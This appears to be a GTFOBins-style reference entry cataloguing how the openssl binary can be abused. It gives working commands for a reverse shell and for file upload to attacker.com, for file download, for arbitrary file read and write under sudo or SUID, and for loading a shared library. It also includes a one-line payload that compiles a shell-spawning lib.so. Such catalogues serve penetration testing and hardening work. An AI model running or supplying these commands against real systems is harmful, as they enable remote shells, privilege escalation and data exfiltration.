openssl

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

CommentThe shell process is not spawn by openssl.
Unprivileged
This function can be performed by any unprivileged user.
```
mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
```
ListenerA TLS server can be used on the attacker box to receive the shell.
```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
echo DATA | openssl enc -out /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo DATA | openssl enc -out /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
echo DATA | openssl enc -out /path/to/output-file
```
Unprivileged
This function can be performed by any unprivileged user.
```
openssl enc -in /path/to/input-file -out /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
openssl enc -in /path/to/input-file -out /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
openssl enc -in /path/to/input-file -out /path/to/output-file
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
openssl enc -in /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
openssl enc -in /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
openssl enc -in /path/to/input-file
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
```
ReceiverA TLS server can be used on the attacker box to receive the data.
```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
```
SenderA TLS server can be used on the attacker box to send the data.
```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 </path/to/input-file
```

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Unprivileged
This function can be performed by any unprivileged user.
```
openssl req -engine ./lib.so
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
openssl req -engine ./lib.so
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
openssl req -engine ./lib.so
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.